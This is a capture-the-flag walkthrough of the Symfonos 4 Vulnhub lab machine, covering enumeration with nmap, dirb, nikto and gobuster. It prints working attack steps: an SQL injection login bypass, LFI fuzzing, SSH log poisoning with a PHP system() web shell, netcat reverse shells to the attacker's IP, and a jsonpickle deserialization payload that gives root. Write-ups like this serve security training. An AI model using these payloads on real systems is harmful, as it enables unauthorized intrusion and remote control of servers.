---
description: Symfonos 4 Vulnhub Walkthrough
---

# Symfonos 4

## Enumeration

### nmap

```
nmap -sC -sV oA nmap/sym4 192.168.1.136
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 23:43 EDT
Nmap scan report for 192.168.1.136
Host is up (0.00021s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
|   256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_  256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:DA:3F:AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.27 seconds

```

As usual port 80 is open and we can put our IP at the web browser

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8IwkMr2zfhum7s1Brz%2F-M8JIMcvrY3A4Lq6Va0R%2Fimage.png?alt=media\&token=3de3ebf0-38ba-4513-8f75-362bf4dd0b73)

Let's put to dirb

### Dirb

```
dirb http://192.168.1.136
```

```
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed May 27 00:05:13 2020
URL_BASE: http://192.168.1.136/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.136/ ----
==> DIRECTORY: http://192.168.1.136/css/                                                                                                                                                          
+ http://192.168.1.136/index.html (CODE:200|SIZE:201)                                                                                                                                             
==> DIRECTORY: http://192.168.1.136/javascript/                                                                                                                                                   
==> DIRECTORY: http://192.168.1.136/js/                                                                                                                                                           
==> DIRECTORY: http://192.168.1.136/manual/                                                                                                                                                       
+ http://192.168.1.136/robots.txt (CODE:403|SIZE:298)                                                                                                                                             
+ http://192.168.1.136/server-status (CODE:403|SIZE:301)     
```

We can see there is a /`robots.txt`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8IwkMr2zfhum7s1Brz%2F-M8JIjVs1EljAt4OJRU5%2Fimage.png?alt=media\&token=7b1c602e-c361-49b0-b3f5-c6d17d2dba47)

We don't have permission to access this file, so I use `nikto` to enumerate

### Nikto

```
nikto -h http://192.168.1.136
```

```
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.136
+ Target Hostname:    192.168.1.136
+ Target Port:        80
+ Start Time:         2020-05-27 00:17:10 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ Entry '/atlantis.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Server may leak inodes via ETags, header found with file /, inode: c9, size: 59058b74c9871, mtime: gzip
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD 
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7916 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2020-05-27 00:18:10 (GMT-4) (60 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

```

We can see that there is `/atlantis.php` inside the robots.txt

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8JM0uQy_l61uOwoatg%2Fimage.png?alt=media\&token=9c102fc7-c613-4a7e-b0c1-0636ff9e20fe)

Saw a login form, all I can think of is SQL injection.

After some tries, I can bypass the login form using this command at the username form

```
admin' or '1'='1'#
```

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8JSBJm3cf6bPDZMaPV%2Fimage.png?alt=media\&token=d38fec1e-4dac-4f5e-8cf0-00db08f4d99d)

I can't seem to find anything. I even tried the LFI to `../../../../../../etc/passwd` but does not work.  So I went to more enumeration.

### Gobuster

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://192.168.1.136 -x php
```

```
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.1.136
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/05/27 00:36:55 Starting gobuster
===============================================================
/css (Status: 301)
/manual (Status: 301)
/js (Status: 301)
/javascript (Status: 301)
/sea.php (Status: 302)
/atlantis.php (Status: 200)
/server-status (Status: 403)
/gods (Status: 301)
===============================================================
2020/05/27 00:41:53 Finished
===============================================================

```

Ah, we can see that there is a `/gods`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8JSLL_ozyegMyeARPT%2Fimage.png?alt=media\&token=b69d284e-1ac1-4a8d-9366-8c2321b44c9b)

This is where the log file is stored. But then I realize this is the log file, then it seems like we can do ../../../../../../var/log/auth.&#x20;

But if we do in the proper way, things will be like this&#x20;

## Exploitation

### Wfuzz

We will use Wfuzz.

First, we need to use burp to intercept to get the **PHPSESSID**

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KInNDjnjF1GM22wdo%2Fimage.png?alt=media\&token=27891f7f-504f-41a7-a8ad-987aa1a510aa)

Then, I use&#x20;

```
wfuzz -c -b 'PHPSESSID=6mlbncfhcq8vhshrb4iqc5ev1r' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt http://192.168.1.106/sea.php?file=FUZZ
```

But first I didn't get the thing I wanted, soon, I check the wordlists and surprisingly the file does not include `../../../../../../../var/log/auth`.

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KJR2iz7vWvni_1Pu0%2Fimage.png?alt=media\&token=970b43b1-a481-485b-a976-14073bf14653)

So I add in myself, then we can run the command again

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KJWAAMFpcw9UQjATA%2Fimage.png?alt=media\&token=0013b0fd-1c65-4d70-8005-eb68dd087b02)

We need to hide the word that have the length of 39

```
wfuzz -c -b 'PHPSESSID=6mlbncfhcq8vhshrb4iqc5ev1r' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hw 39 http://192.168.1.106/sea.php?file=FUZZ
```

Run it again then we got this

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KJezKj2JCwUIyHJtC%2Fimage.png?alt=media\&token=122aee16-c499-47d0-9f4f-0aae84b17209)

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KOVc1B9F5k4s81EJd%2Fimage.png?alt=media\&token=8fd0a62e-0a27-4018-aab0-5cc97877cd9a)

We can see the log file now, then we can actually poison the LFI

```
ssh '<? php system($_GET['cmd']) ?>'@192.168.1.106
```

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KTrYZw3McP6bcvTS2%2Fimage.png?alt=media\&token=3dfdab3f-9c77-49d7-b4a7-900cb2e48bbc)

Then we can go to end of the URL and add `&c=id;whoami;`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KU3VNk6IScc_9Nge1%2Fimage.png?alt=media\&token=d3681abe-bd99-4646-92f4-8ade951ec086)

We can now get the reverse shell from it&#x20;

Our machine

```
nc -nlvp 4444
```

At the end of the URL

```
c=nc -e /bin/bash 192.168.1.116 4444
```

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8JJQkFEoVmBg4DrUTh%2F-M8KUahQKOlZnd542hyz%2Fimage.png?alt=media\&token=adc7aafc-8aa8-4959-b5fc-8c05c7972d75)

We got a shell !

Then we can type

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

After some digging we can use&#x20;

```
ss -l 
```

to get what port is running on the machine

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8KVIXYg7b6sA7nvPK_%2F-M8Kf4aeQF-yhv7JQ2L1%2Fimage.png?alt=media\&token=3d25f8dc-d210-4dcf-8ce2-c15379fd8ea0)

As we can see there is another port that is running.

### Port Forward

We can port forward the port to get access it, since this only can locally port forward so we need to use `socat`.

```
socat TCP-LISTEN:8888,fork,reuseaddr TCP:127.0.0.1:8080 &
```

Then we can access it with port 8888

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8KVIXYg7b6sA7nvPK_%2F-M8Kg3dvAK5tEUAuF9SC%2Fimage.png?alt=media\&token=4b605375-f4b3-4785-8169-037972a44862)

Then click the `Main page`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8KVIXYg7b6sA7nvPK_%2F-M8KgDXI-ypoONIZ8ANG%2Fimage.png?alt=media\&token=436e1314-28f1-46e8-83ca-61885fc1069d)

Since it mentioned about cookie, let's check for cookie

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8KVIXYg7b6sA7nvPK_%2F-M8KhFCkmU1Qx56lp8LY%2Fimage.png?alt=media\&token=73ebde0a-4cc8-42ad-a7d6-3c6cf6593772)

We can decode the password with this [website](https://www.base64decode.org/) and we got this

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8KVIXYg7b6sA7nvPK_%2F-M8KhVKeOL8T0GqFgf19%2Fimage.png?alt=media\&token=f6d383f1-76e8-42aa-8206-2045c49292c2)

After some researching, it is a jsonpickle exploit. We can read these 3 website

{% embed url="https://jsonpickle.github.io/" %}

{% embed url="https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/" %}

{% embed url="https://github.com/jsonpickle/jsonpickle/issues/178" %}

to get an idea how it works

The code looks like this

```
{"py/reduce": "__main__.Shell", "py/reduce": [{"py/function": "os.system"},["nc -e /bin/bash 192.168.1.116 9000"],0,0,0]}
```

Then we can encode using base64 and put it at the cookies and get a reverse shell

Remember to set up a listener at our machine first

And then refresh the page, we got root !

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8KVIXYg7b6sA7nvPK_%2F-M8KlAdfh-JAUT038Zfo%2Fimage.png?alt=media\&token=8ed1eb33-c1d8-4bd9-ba3f-ccf8a7f6c38a)

Navigate to `/root` and get the `flag.txt`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8KVIXYg7b6sA7nvPK_%2F-M8KlNSdzL24jPIZWr0P%2Fimage.png?alt=media\&token=197ceb83-3f52-46ee-9486-b3a6bf7a288f)

Congratulation!





















